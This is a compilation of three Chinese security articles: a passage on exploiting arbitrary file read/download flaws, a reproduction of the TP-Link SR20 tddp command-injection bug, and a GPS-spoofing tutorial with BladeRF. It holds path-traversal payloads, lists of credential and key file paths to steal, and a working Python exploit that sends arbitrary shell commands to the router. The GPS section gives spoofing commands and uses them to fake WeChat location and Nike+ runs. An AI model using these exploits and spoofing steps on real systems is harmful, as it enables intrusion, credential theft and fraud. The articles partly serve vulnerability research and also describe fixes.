读取mysql下的`.bash_history`文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载需要审计的代码文件，但是下载的时候变得很繁琐，只能尝试去猜解目录，然后下载一些中间件的记录日志进行分析。
**一些常见利用方式**
##### java+oracle环境
可以先下载/WEB-INF/classes/applicationContext.xml 文件，这里面记载的是web服务器的相应配置，然后下载/WEB-INF/classes/xxx/xxx/aaa.class对文件进行反编译，然后搜索文件中的upload关键字看是否存在一些api接口，如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。
也可以先下载网站的配置文件，在根目录/WEB-INF/Web.xml的(一般都有很多内容,有时含有数据库连接用户名和密码等关键信息)。
##### 具有root权限
在linux中有这样一个命令 locate
是用来查找文件或目录的，它不搜索具体目录，而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库，并且每天自动更新一次。
当不知道路径是什么的情况下，这个可以说是一个非常好用的了，我们利用任意文件下载漏洞将mlocate.db文件下载下来，利用locate命令将数据输出成文件，这里面包含了全部的文件路径信息。
**locate 读取方法**
locate mlocate.db admin
可以将`mlocate.db`中包含`admin`内容全部输出来。
利用这个文件可以获取到该服务器任何我们想要的内容并下载出来而不用一个一个去猜解目录，但是这个文件只有root用户才能读取。另一方面我们也可以利用linux内核的一个文件`/proc/self/cmdline`当前进程的`cmdline`参数，可以获取到路径信息。
总的来说，任意文件下载漏洞的利用主要是为了信息收集，我们通过对服务器配置文件的下载，获取到大量的配置信息、源码，从而根据获取的信息来进一步挖掘服务器漏洞从而入侵。
### 0x04任意文件读取与下载漏洞挖掘
> 1、web漏洞扫描器（awvs、appscan、openvas、nessus）
> 2、手动挖掘从连接和参数名查看
_Google search_
inurl:”readfile.php?file=
inurl:”read.php?filename=
inurl:”download.php?file=
inurl:”down.php?file=
连接：
`readfile.php?file=**.txt`
`download.php?file=**.rar`
参数名：
`&RealPath=`、`&readpath=`、`&FilePath=`、`&filepath=`、`&Path=`、`&path=`、`&Inputfile=`、`&inputfile=`、`&url=`、`&urls=`、`&Lang=`、`&dis=`、`&Data=`、`&data=`、`&readfile=`、`&filep=`、`&Src=`、`&src=`、`&menu=`、`META-INF=` 、`WEB-INF`
### 0x05敏感信息
**Windows：**
> C:\boot.ini //查看系统版本
> C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
> C:\Windows\repair\sam //存储系统初次安装的密码
> C:\Program Files\mysql\my.ini //Mysql配置
> C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
> C:\Windows\php.ini //php配置信息
> C:\Windows\my.ini //Mysql配置信息
**Linux：**
> /root/.ssh/authorized_keys
> //如需登录到远程主机，需要到.ssh目录下，新建authorized_keys文件，并将id_rsa.pub内容复制进去
> /root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
> /root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
> /root/.ssh/known_hosts
> //ssh会把每个访问过计算机的公钥(public
> key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时，OpenSSH会核对公钥。如果公钥不同，OpenSSH会发出警告，
> 避免你受到DNS Hijack之类的攻击。
> /etc/passwd // 账户信息
> /etc/shadow // 账户密码文件
> /etc/my.cnf //mysql 配置文件
> /etc/httpd/conf/httpd.conf // Apache配置文件
> /root/.bash_history //用户历史命令记录文件
> /root/.mysql_history //mysql历史命令记录文件
> /proc/self/fd/fd[0-9]*(文件标识符)
> /proc/mounts //记录系统挂载设备
> /porc/config.gz //内核配置文件
> /var/lib/mlocate/mlocate.db //全文件路径
> /porc/self/cmdline //当前进程的cmdline参数
### 0x06任意文件读取与下载漏洞验证
#### 任意文件读取验证
示例代码：
<?php
$filename=$_GET['f'];
echo file_get_contents($filename);
?>
测试：
readfile.php?f=../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00
readfile.php?f=../index.txt
`file://`伪协议 ，读取文件内容
readfile.php?f=file:///etc/passwd
#### 任意文件下载验证
示例代码：
<?php
$filename = $_GET['f'];
echo '<h1>讲开始下载文件！</h1><br /><br />';
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
当然，我下载的这个文件并没有内容。
### 0x07漏洞判断
参数`f`的参数值为PHP文件时：
> 1.文件被解析，则是文件包含漏洞
> 2.显示源代码，则是文件查看漏洞
> 3.提示下载，则是文件下载漏洞
### 0x08漏洞利用实战
我学习任意文件读取与下载漏洞，就是因为遇到了一个任意文件读取与下载漏洞的Web题，所以在此实战一下
#### RoarCTF2019-Web：Easy Java
不是弱口令，也不能扫出目录。只有一个`help.docx`文件可以下载。于是可能是任意文件下载漏洞。
点击蓝字“help”，抓包，发包。发现GET方式一直什么都下载不了。后来修改为POST，就可以下载了。
因为题目提示java，所以可以先下载网站的配置文件，在根目录`WEB-INF/web.xml`
发现操作flag的关键文件位置，读取(或下载)`/WEB-INF/classes/`下的flag的关键文件位置，又因为Java字节码类文件（`.class`）是Java编译器编译Java源文件（`.java`）产生的“目标文件”。
最终得出flag的关键文件位置为：`/WEB-INF/classes/com/wm/ctf/FlagController.class`
Base64解码得到flag
### 0x09漏洞防御修复
**通用**
* 过滤 `.` 点，使用户在url中不能回溯上级目录
* 正则严格判断用户输入的参数
* `php.ini`配置`open_basedir`限定文件访问范围
**文件下载漏洞修复**
* 将下载区独立出来，放在项目路径外，给每个下载资源固定的URL，而不是所有的下载资源都是统一的URL：`[www.test.com/download?filename=文件名](http://www.test.com/download?filename=文件名)`
* 净化数据：对用户传过来的文件名参数进行硬编码或统一编码，对文件类型进行白名单控制，对包含恶意字符或者空字符的参数进行拒绝。
* web应用程序可以使用chroot环境包含被访问的web目录，或者使用绝对路径+参数来访问文件目录，时使其即使越权也在访问目录之内。www目录就是一个chroot应用。由chroot创造出的那个根目录，叫做“chroot监狱”(所谓”监狱”就是指通过chroot机制来更改某个进程所能看到的根目录，即将某进程限制在指定目录中，保证该进程只能对该目录及其子目录的文件有所动作，从而保证整个服务器的安全。
详细具体chroot的用法，可参考：`[blog.csdn.net/frozen_fish/article/details/2244870](http://blog.csdn.net/frozen_fish/article/details/2244870)`
* 任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生，例如ibm的websphere的任意文件下载漏洞，需更新其中间件的版本可修复。
* 要下载的文件地址保存至数据库中。
* 文件路径保存至数据库，让用户提交文件对应ID下载文件。
* 用户下载文件之前需要进行权限判断。
* 文件放在web无法直接访问的目录下。
* 不允许提供目录遍历服务。
* 公开文件可放置在web应用程序下载目录中通过链接进行下载。
* 记录文件下载日志。
### 0x10写在后面
文件读取、下载、包含、删除、上传，都是文件操作漏洞，需要更加深入的学习。这里我只简单分析了一下文件读取与下载漏洞。 | 社区文章 |
# 由一道工控路由器固件逆向题目看命令执行漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2019 工控安全比赛第一场的一道固件逆向的题目，好像也比较简单，好多人都做出来了。这里就分别从静态和动态调试分析复现一下这个命令执行的洞。
## 赛题说明
题目给的场景倒是挺真实的：路由器在处理 tddp 协议时出现了命令注入，导致了远程命令执行。就是后面做出来的这个答案的格式咋提交都不对…
题目给了一个压缩文件，解压出来时一个 bin 文件。
使用 binwalk -Me 直接解压，得到了与一个标准的 linux 风格的文件系统：
* 后来知道这个固件其实就是 tp_link SR20 路由器 v1 版本的固件，在 seebug 上有相应的分析文章：
<https://paper.seebug.org/879>
* 固件下载地址：<https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip>
拿到文件系统之后，需要定位到相应的漏洞点，也就是在处理 tddp 协议的二进制文件中。
题目要求时找到 CMD _?_? 格式的消息类型，那么就使用 `grep -rnl "CMD_." *` 命令，再根据 tddp 协议定位到
usr/bin/tddp 这个文件，接着开始进行静态分析。
## 环境搭建
### 准备工具
* binwalk
* IDA
* qemu-arm
这里尝试在 qemu 的用户模式下进行动态调试发现有问题，所以 **需要在系统模式下将固件跑起来** ，因此就要进行系统环境的搭建。
qemu arm 的环境：
<https://pan.baidu.com/s/1rDvn8WkHAIB2cwTXih-gMw> 提取码：xpnl
[安装方法](https://paper.seebug.org/879/#arm-qemu)在那篇文章中已经说的很清楚了，就不重复造轮子了。
## 静态分析
将 ./usr/bin/tddp 加载到 IDA 中， **搜索关键字符串** ，这些关键字都在同一个函数中，回溯可以找到漏洞的函数。
函数的代码比较长，所以中间省略了一部分，这个函数就是对通过运行在 1040 端口上的 tddp
协议接收到的数据进行解析，并执行相应的分支操作。（函数中使用了 switch case 来实现）
int __fastcall CMD_handle(_BYTE *a1, _DWORD *a2)
{
uint32_t v2; // r0
__int16 v3; // r2
uint32_t v4; // r0
__int16 v5; // r2
_DWORD *v7; // [sp+0h] [bp-24h]
_BYTE *v8; // [sp+4h] [bp-20h]
_BYTE *v9; // [sp+Ch] [bp-18h]
_BYTE *v10; // [sp+10h] [bp-14h]
int v11; // [sp+1Ch] [bp-8h]
v8 = a1;
v7 = a2;
v10 = a1 + 0xB01B;
v9 = a1 + 0x52;
a1[0x52] = 1;
switch ( a1[0xB01C] )
{
case 4:
printf("[%s():%d] TDDPv1: receive CMD_AUTO_TESTn", 103928, 697);
v11 = sub_AC78(v8);
break;
case 6:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MACn", 103928, 638);
v11 = sub_9944(v8);
break;
case 7:
printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TESTn", 103928, 648);
v11 = sub_ADDC(v8);
if ( !v8 || !(*(v8 + 11) & 4) || !v8 || !(*(v8 + 11) & 8) || !v8 || !(*(v8 + 11) & 0x10) )
*(v8 + 11) &= 0xFFFFFFFD;
*(v8 + 8) = 0;
*(v8 + 11) &= 0xFFFFFFFE;
break;
case 8:
printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TESTn", 103928, 702);
*(v8 + 11) &= 0xFFFFFFFE;
v11 = 0;
break;
case 0xA:
printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_IDn", 103928, 643);
v11 = sub_9C24(v8);
break;
case 0xC:
printf("[%s():%d] TDDPv1: receive CMD_SYS_INITn", 103928, 615);
.....
case 0xD:
printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PINn", 103928, 682);
v11 = sub_A97C(v8);
break;
case 0x30:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_USBn", 103928, 687);
v11 = sub_A3C8(v8);
break;
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIGn", 103928, 692);
v11 = vuln(v8); // 漏洞点在此
break;
default:
....
}
*v7 = ntohl((v9[7] << 24) | (v9[6] << 16) | (v9[5] << 8) | v9[4]) + 12;
return v11;
}
漏洞点在处理 `CMD_FTEST_CONFIG` 所在的 0x31 这个分支，跟进一下。（这里传入的参数 v8 为通过 tddp 协议传进来的数据体指针）
### vuln 函数
这里调用了 sscanf 函数对传进来的结构体进行解析之后，拼接到 run_exec 函数中进行命令执行。 **但是这里过滤不严（只判断了 ;
字符，没有过滤 & 和 | 符号），可以进行命令注入，导致拼接恶意代码后可以进行任意命令执行。**
int __fastcall vuln(int a1)
{
void *v1; // r0
uint32_t v2; // r0
_BYTE *v3; // r3
__int16 v4; // r2
_BYTE *v5; // r3
int v6; // r0
int v7; // r1
int v10; // [sp+4h] [bp-E8h]
char name; // [sp+8h] [bp-E4h]
char v12; // [sp+48h] [bp-A4h]
char s; // [sp+88h] [bp-64h]
_BYTE *v14; // [sp+C8h] [bp-24h]
_BYTE *v15; // [sp+CCh] [bp-20h]
int v16; // [sp+D0h] [bp-1Ch]
int v17; // [sp+D4h] [bp-18h]
char *v18; // [sp+D8h] [bp-14h]
int v19; // [sp+DCh] [bp-10h]
unsigned int v20; // [sp+E0h] [bp-Ch]
char *v21; // [sp+E4h] [bp-8h]
v10 = a1;
v20 = 1;
v19 = 4;
memset(&s, 0, 0x40u);
memset(&v12, 0, 0x40u);
v1 = memset(&name, 0, 0x40u);
v18 = 0;
v17 = luaL_newstate(v1);
v21 = (v10 + 0xB01B);
v16 = v10 + 82;
v15 = (v10 + 0xB01B);
v14 = (v10 + 82);
*(v10 + 83) = 49;
v2 = htonl(0);
v3 = v14;
v14[4] = v2;
v3[5] = BYTE1(v2);
v3[6] = BYTE2(v2);
v3[7] = HIBYTE(v2);
v14[2] = 2;
v4 = (v15[9] << 8) | v15[8];
v5 = v14;
v14[8] = v15[8];
v5[9] = HIBYTE(v4);
if ( *v15 == 1 )
{
v21 += 12;
v16 += 12;
}
else
{
v21 += 28;
v16 += 28;
}
if ( !v21 )
goto LABEL_20;
sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&||]
if ( !s || !v12 )
{
printf("[%s():%d] luaFile or configFile len error.n", 98236, 555);
LABEL_20:
v14[3] = 3;
return error(-10303, 94892);
}
v18 = inet_ntoa(*(v10 + 4));
run_exec("cd /tmp;tftp -gr %s %s &", &s, v18); // 漏洞点
sprintf(&name, "/tmp/%s", &s);
while ( v19 > 0 )
{
sleep(1u);
if ( !access(&name, 0) )
break;
--v19;
}
if ( !v19 )
{
printf("[%s():%d] lua file [%s] don't exsit.n", 98236, 574, &name);
goto LABEL_20;
}
if ( v17 )
{
luaL_openlibs(v17);
if ( !luaL_loadfile(v17, &name) )
lua_pcall(v17, 0, -1, 0);
lua_getfield(v17, -10002, 94880);
lua_pushstring(v17, &v12);
lua_pushstring(v17, v18);
lua_call(v17, 2, 1);
v6 = lua_tonumber(v17, -1);
v20 = sub_16EC4(v6, v7);
lua_settop(v17, -2);
}
lua_close(v17);
if ( v20 )
goto LABEL_20;
v14[3] = 0;
return 0;
}
* sscanf 函数作用时将第一个参数的值，根据格式化字符串解析到后面的参数中。
### run_exec 函数
这里直接调用了 execve 函数进行命令执行。
signed int run_exec(const char *a1, ...)
{
char *argv; // [sp+8h] [bp-11Ch]
int v4; // [sp+Ch] [bp-118h]
char *v5; // [sp+10h] [bp-114h]
int v6; // [sp+14h] [bp-110h]
int stat_loc; // [sp+18h] [bp-10Ch]
char s; // [sp+1Ch] [bp-108h]
__pid_t pid; // [sp+11Ch] [bp-8h]
const char *varg_r0; // [sp+128h] [bp+4h]
va_list varg_r1; // [sp+12Ch] [bp+8h]
va_start(varg_r1, a1);
varg_r0 = a1;
pid = 0;
stat_loc = 0;
argv = 0;
v4 = 0;
v5 = 0;
v6 = 0;
vsprintf(&s, a1, varg_r1);
printf("[%s():%d] cmd: %s rn", 94112, 72, &s);
pid = fork();
if ( pid < 0 )
return -1;
if ( !pid )
{
argv = "sh";
v4 = 0x16F4C;
v5 = &s;
v6 = 0;
execve("/bin/sh", &argv, 0);
exit(127);
}
while ( waitpid(pid, &stat_loc, 0) == -1 )
{
if ( *_errno_location() != 4 )
return -1;
}
return 0;
}
根据函数的调用链交叉引用，回溯分析传进来 CMD_handle 函数的参数。
### 调用链分析
在 函数名称处按下 X 键，定位到 data_handle 函数。函数中有一个 recvfrom 函数用来接收 socket 数据， **存放到
v16+0xB01B 地址中** ，之后将 v16 传入 CMD_handle 函数。
int __fastcall data_handle(int a1)
{
int v1; // r3
int v2; // r3
int v3; // r0
uint32_t v4; // r0
_BYTE *v5; // r3
__int16 v6; // r2
_BYTE *v7; // r3
int v8; // r0
uint32_t v9; // r0
_BYTE *v10; // r3
__int16 v11; // r2
_BYTE *v12; // r3
_BYTE *v13; // r3
int v14; // r3
int v16; // [sp+Ch] [bp-30h]
size_t n; // [sp+10h] [bp-2Ch]
socklen_t addr_len; // [sp+14h] [bp-28h]
struct sockaddr addr; // [sp+18h] [bp-24h]
ssize_t v20; // [sp+28h] [bp-14h]
_BYTE *v21; // [sp+2Ch] [bp-10h]
unsigned __int8 *v22; // [sp+30h] [bp-Ch]
int v23; // [sp+34h] [bp-8h]
v16 = a1;
v23 = 0;
addr_len = 16;
n = 0;
memset((a1 + 0xB01B), 0, 0xAFC9u);
memset((v16 + 0x52), 0, 0xAFC9u);
v22 = (v16 + 0xB01B);
v21 = (v16 + 0x52);
v20 = recvfrom(*(v16 + 36), (v16 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);// 第二个参数就是 buf 的位置
if ( v20 < 0 )
return sub_13018(-10106, 103880);
sub_15458(v16);
*(v16 + 44) |= 1u;
v2 = *v22;
if ( v2 == 1 )
{
v8 = sub_15AD8(v16, &addr);
if ( v8 )
{
*(v16 + 52) = sub_9340(v8);
v23 = CMD_handle(v16, &n); // 这里调用了命令处理的函数
}
else
{
v23 = -10301;
*v21 = 1;
v21[1] = v22[1];
v21[2] = 2;
v21[3] = 8;
v9 = htonl(0);
v10 = v21;
v21[4] = v9;
v10[5] = BYTE1(v9);
v10[6] = BYTE2(v9);
v10[7] = HIBYTE(v9);
v11 = (v22[9] << 8) | v22[8];
v12 = v21;
v21[8] = v22[8];
v12[9] = HIBYTE(v11);
}
}
else if ( v2 == 2 )
{
v3 = sub_15AD8(v16, &addr);
if ( v3 )
{
*(v16 + 52) = sub_9340(v3);
v23 = sub_15BB8(v16, &n);
}
else
{
v23 = -10301;
*v21 = 2;
v21[1] = v22[1];
v21[2] = 2;
v21[3] = 8;
v4 = htonl(0);
v5 = v21;
v21[4] = v4;
v5[5] = BYTE1(v4);
v5[6] = BYTE2(v4);
v5[7] = HIBYTE(v4);
v6 = (v22[9] << 8) | v22[8];
v7 = v21;
v21[8] = v22[8];
v7[9] = HIBYTE(v6);
sub_15830(v16, &n);
}
}
else
{
v21[3] = 7;
v13 = v21;
v21[4] = 0;
v13[5] = 0;
v13[6] = 0;
v13[7] = 0;
n = ((v21[7] << 24) | (v21[6] << 16) | (v21[5] << 8) | v21[4]) + 12;
}
if ( v16 )
v14 = *(v16 + 44) & 1;
else
v14 = 0;
if ( v14 && sendto(*(v16 + 36), (v16 + 82), n, 0, &addr, 0x10u) == -1 )
v1 = sub_13018(-10105, 103896);
else
v1 = v23;
return v1;
}
再往回分析就是对堆空间的一个结构体进行初始化的操作：
int sub_936C()
{
#37 *v0; // r4
int optval; // [sp+Ch] [bp-B0h]
int v3; // [sp+10h] [bp-ACh]
struct timeval timeout; // [sp+14h] [bp-A8h]
fd_set readfds; // [sp+1Ch] [bp-A0h]
#37 *heap_space; // [sp+9Ch] [bp-20h]
int v7; // [sp+A0h] [bp-1Ch]
int nfds; // [sp+A4h] [bp-18h]
fd_set *v9; // [sp+A8h] [bp-14h]
unsigned int i; // [sp+ACh] [bp-10h]
char v11[12]; // [sp+B0h] [bp-Ch]
heap_space = 0;
v3 = 1;
optval = 1;
printf("[%s():%d] tddp task startn", 94096, 0x97);
if ( !sub_16ACC(&heap_space)
&& !socket_new(heap_space + 9)
&& !setsockopt(*(heap_space + 9), 1, 2, &optval, 4u)
&& !bind_port(*(heap_space + 9), 1040u)
&& !setsockopt(*(heap_space + 9), 1, 6, &v3, 4u) )
{
....
while ( 1 )
{
do
{
...
}
while ( v7 == -1 );
if ( !v7 )
break;
if ( (*&v11[4 * (*(heap_space + 9) >> 5) - 148] >> (*(heap_space + 9) & 0x1F)) & 1 )
data_handle(heap_space); // 函数调用
}
}
sub_16E0C(*(heap_space + 9));
sub_16C18(heap_space);
return printf("[%s():%d] tddp task exitn", 94096, 219);
}
// sub_16ACC 函数为初始化过程：
nt __fastcall sub_16ACC(_DWORD *a1)
{
_DWORD *v3; // [sp+4h] [bp-10h]
_DWORD *s; // [sp+8h] [bp-Ch]
int v5; // [sp+Ch] [bp-8h]
v3 = a1;
if ( !a1 )
return error(-10202, 104096);
s = calloc(1u, 0x15FE4u);
if ( !s )
return error(-10202, 104112);
v5 = sub_16878(s);
if ( v5 )
return v5;
memset(s + 0xE, 0, 9u);
memset(s + 0x52, 0, 0xAFC9u);
memset(s + 0xB01B, 0, 0xAFC9u);
memset(s + 0x41, 0, 0x11u);
memset(s, 0, 0x28u);
s[9] = -1;
s[8] = 0;
*v3 = s;
return 0;
}
根据堆内存的初始化过程，可以对结构体空间进行表示：
**题目中问到：第几个字节为多少时，会触命令执行漏洞？**
根据 CMD_handle 函数的判断：
接收数据的存储开始位置是在 0xB01B，这里 switch 判断的是 0XB01C 位置，所以相对偏移就是 1，也就是第二个位置。
v8 = a1;
v7 = a2;
v10 = a1 + 0xB01B;
v9 = a1 + 0x52;
a1[0x52] = 1;
switch ( a1[0xB01C] )
...
case 0x31:
printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIGn", 103928, 692);
v11 = vuln(v8);
那么这里的答案应该是：`CMD_FTEST_CONFIG+0x1+0x31`，但是比赛时怎么提交都是错的…
## 动态调试
这里用 qemu 仿真的方法将固件跑起来，来尝试通过命令注入拿到他的shell。
按照文章的方法，配置好虚拟网卡之后，运行下面的命令将固件模拟起来：
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
挂载目录，切换根目录：
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh
### 启动服务
直接运行 tddp 命令启动 tddp 服务，使用 nmap 的 UDP 扫描端口是开放的。
* **这里使用 TCP 扫描的话会发现端口是关闭的。**
### EXP 的编写
首先在发送的数据中，前两个字节必须为 `\0x1\0x31`，中间需要填充 10 个字节， **原因是这里的 v21 指针会后移 12 位**
，因此中间需要填充。
接着就是注入需要的代码：
payload = 'x01x31'.ljust(12,'x00')
payload+= "123|%s&&echo ;123"%(command)
* 这里在 paylaod 中需要注意的是， **在 ; 最后还需要填充字符** ，因为在使用 sscanf 函数进行分割命令后会判断 ; 后面的内容是否为空。
sscanf(v21, "%[^;];%s", &s, &v12); // %[^;|&||]
if ( !s || !v12 )
{
printf("[%s():%d] luaFile or configFile len error.n", 98236, 555);
LABEL_20:
v14[3] = 3;
return error(-10303, 94892);
}
接着使用 UDP 的 socket 的接口进行发送即可：
最后的 exp 如下：
from pwn import *
from socket import *
import sys
tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]
s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)
s_recv.bind(('',12345))
payload = 'x01x31'.ljust(12,'x00')
payload+= "123|%s&&echo ;123"%(command)
s_send.sendto(payload,(ip,tddp_port))
s_send.close()
res,addr = s_recv.recvfrom(1024)
print res
执行一个 uname 看看：
开启 telnetd 服务：
好吧，这里确实已经连接上了，但是这里远程没有用于 telnet 服务的终端，刚好固件又带了 nc，那就使用 nc 来弹一个 shell 吧。
发现 nc 不带弹 shell 的功能。。那只能将命令的内容正向连接来输出了。
如图，在本地监听一个端口，命令执行的结果就会通过 nc 显示在本地。
至此漏洞复现完毕。
当然注入一个合法的 lua 脚本，让程序去访问之后执行命令也是可以的，参考文章中用的就是这种方法。
## 总结
这个命令执行漏洞拿来练手还是不错的，学到了不少东西。
## 参考文章
<https://paper.seebug.org/879>
<https://segmentfault.com/a/1190000018351915> | 社区文章 |
**0x00 序**
GPS Hacking 在过去几年的安全会议上一直都是备受关注的议题. 但往往因为内容太过学术化, 所需设备成本太高. 让许多感兴趣的朋友苦于无法入门.
直到GPS-SDR-SIM 这类开源项目的出现, 跟王康大牛在今年Blackhat Europe 2015 上的主题演讲. 彻底打开了GPS 的神秘面纱.
让小伙伴可以真正过一把GPS Hacking 的瘾.
想必大家对于研究GPS的神器, 软件无线电SDR都略有所闻. 但早期设备USRP价格昂贵. 直到大家发现了神奇的电视棒 RTL-SDR.
前阵子似乎人人都喜欢用它来看大"灰机". 不过因为硬件上的限制，电视棒只能用来收取数据. 而 HackRF 跟 BladeRF 因其支持收发数据,
而价格又比USRP 便宜许多. 便成了当下热衷玩无线的朋友们的首选. 当然HackRF 跟 BladeRF之间也在所支持的频率, 采样率上有所不同.
最重要的一点BladeRF是全双工哦. 以下是几款SDR 设备之间的对比图, 大家可以根据具体需要选购.
**GPS系统简介**
GPS 系统本身非常复杂, 涉及到卫星通信等各个领域. 这里只是简单介绍一下. 我们通常所说的 GPS 全球定位系统是由美国国防部建造完成.
目前在太空中共有31颗卫星在同时运作. 一般我们需要至少4颗卫星来完成三角定位. GPS卫星同时发送民用L1和军用L2两种无线信号.
我们通常使用的是没有加密的L1民用 1575.42MHz 的超高频波段.
GPS 信号里包含了3种常用信息.
Pseudorandom code: 简单的ID 码, 用来识别每颗卫星.
Ephemeris data: 包含卫星的运行状态, 时间日期等信息. 这在通过卫星来定位起到非常重要的作用.
Almanac data: 包含有每颗卫星的轨道信息，以及卫星在某个特定时段将出现的具体位置.
**0x01 BladeRF GPS 信号伪造步骤**
1.1 在Ubuntu 14.04.3 中安装 BladeRF 工具
$ sudo add-apt-repository ppa:bladerf/bladerf
$ sudo apt-get update
$ sudo apt-get install bLaderf
安装 header 文件
$ sudo apt-get install libbLaderf-dev
安装 BladeRF 固件 & FPGA 镜像
$ sudo apt-get install bladerf-firmware-fx3
$ sudo apt-get install bladerf-fpga-hostedx4a
完成后可在 /usr/share/nuand/BladeRF/ 下找到 hostedX40.rbf 跟 bladerf_fw.img 文件.
这时便可将BladeRF插入USB接口.通常系统会自动载入FPGA 镜像.也可以通过命令行 "bladerf_cli -l
/路径/hostedX40.rbf" 手动载入. 在成功载入后，BladeRF主板上的3 个LED 小灯便会亮起, 同时我们可以加 -p
参数来进一步验证系统安装成功.
$ bladeRF-cli-p
Backend: libusb
Serial: f12ce1037830alb27f3ceebalf521413
USB Bus: 4
USB Bus: 4
1.2 GPS-SDR-SIM 安装
git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim
设置经纬度并生成数据样本. 注意这里 I/Q基带信号数据为16.
gps-sdr-sim -e brdc354a.14n -l 30.286502,120.032669,100 -b 16
随后 gps-sdr-sim 会自动生成带有经纬度信息的数据文件. 我们便可以通过 bladerf_cli 来发送伪造的GPS 数据.
gps-sdr-sim-e brdc354a.14n-l 30.2865a2,12a.032669,10a-b
1.3 GPS-SDR-SIM 运行时间问题
在实际测试过程中汪汪发现, 默认情况下GPS模拟器只能连续工作5分钟左右. 通过查看源代码后, 我们可以发现这是因为程序默认设置导致.
在程序设计之初为了节省硬盘空间, 默认只生成了300秒左右的数据. 我们可以通过改动参数来延長工作時間.
但需要注意的是仅仅延長到15分鐘，數據便可達到5G大小.!
/*! \brief Maximum number of user motion waypoints*/
#define uSER_MOTION_SIZE (3000) // max30a sec at 10Hz
**0x02 GPS信号伪造实战**
汪汪在这里跟分享几个实际的测试案例. 感兴趣的朋友也可以自行测试下.
2.1 微信周边妹子
听说许多程序猿因为平时工作紧张, 性格腼腆. 很难有机会跟心中的女神接触. 而微信中”附近的人”则解决了此类问题. 大家只要坐在家中打开GPS定位,
便可跟周边的心仪女神 Say Hello 啦. 但美中不足的是范围仅限几十公里内. 那么对某些胸怀天下, 万花丛中过,
片叶不沾身的大神来说未免太有局限性了. 这里汪汪给大家带来第一个GPS 信号伪造案例 -- 微信”附近”妹子.
听说前阵子在海南三亚有个美女扎堆的活动, 汪汪很是好奇都是啥样的美女呢..让我们来查下附近的人吧.
哦..在没发送伪造的GPS坐标前,只能找到汪汪所在城市的妹子.
在开始发送伪造的GPS坐标5分钟后, 汪汪终于如愿以偿找到了三亚附近妹子 ;)
哈哈..汪汪必须感叹下..真的是技术宅改变命运啊..
2.2 Nike+ 计步数伪造
很多喜欢研究移动安全的朋友一定看过蒸米发过的一篇文章 "利用Android Hook进行微信运动作弊". 文中他提到了通过利用Android
Hook进行计步作弊, 跟朋友圈里的好友PK运动量. 但该方法需要手机root后，安装相关作弊插件来实现. 对于其他计步类软件，还需要对插件进行相关改动.
这里测试目标为 Nike+ Running. 先来看段视频. 因为完成全部攻击效果需要一定时间, 所以本视频做了加速处理.
<http://player.youku.com/player.php/sid/XMTQwMzAxMTk4OA==/v.swf>
通过GPS-SDR-SIM的主页, 我们可以得知伪造的的GPS经纬度数据可以是静态, 也可以是动态模式的. 为了成功模拟出运动轨迹,
我们需要伪造动态模式的GPS经纬度数据. 可以通过以下参数来完成.
gps-sdr-sim -e brdc3540.14n -u circle.csv -b 16
大家可以看到通过直接对GPS信号进行伪造, 成功欺骗了Nike+ 这类计步器APP. 即使在被窝里躺着,也可以跑第一哦.
当然汪汪还是希望大家可以真的跑起来, 享受运动的快乐.
2.3 伪造信号范围测试
从前面几个实验可以知道, 通过软件模拟信号, GPS接收设备在短距离内的效果是非常明显的.
那么在较大范围内GPS接收设备的效果如何呢？实际的有效距离又是多远呢？当然这跟设备的输出功率, 天线增益, 以及附近其他信号干扰程度有关.
所以这里汪汪只是做个简单的室内测试. 大家还是要以实际情况为准. 请先看这段测试视频.
<http://player.youku.com/player.php/sid/XMTQwMzAwNzMxNg==/v.swf>
从视频可以看到在这个直线距离大概为25米, 中间无任何障碍物的走廊里成功改变了GPS 接收设备的经纬度. 通常真实的GPS
信号从2万千米的高空下到地面已经非常微弱, 因此在室内几乎检测不到信号. 所以在室内GPS 信号伪造攻击的效果是很明显的.
0x03 总结
通过以上几个案例, 相信大家对GPS 信号伪造有了一定程度的了解. 但就GPS系统本身而言, 这是一个非常好玩又很深的领域. 市面上的GPS
相关产品也总类繁多, 每款产品对GPS 欺骗攻击的反应也各不相同. 大家可以发挥下想象力玩出新花样.
最后要感谢 osqzss; 王康和无数 GNURadio 爱好者们的无私分享. 正因为有了他们，我们才可以更好的体验软件无线电的无穷魅力. 推荐大家围观
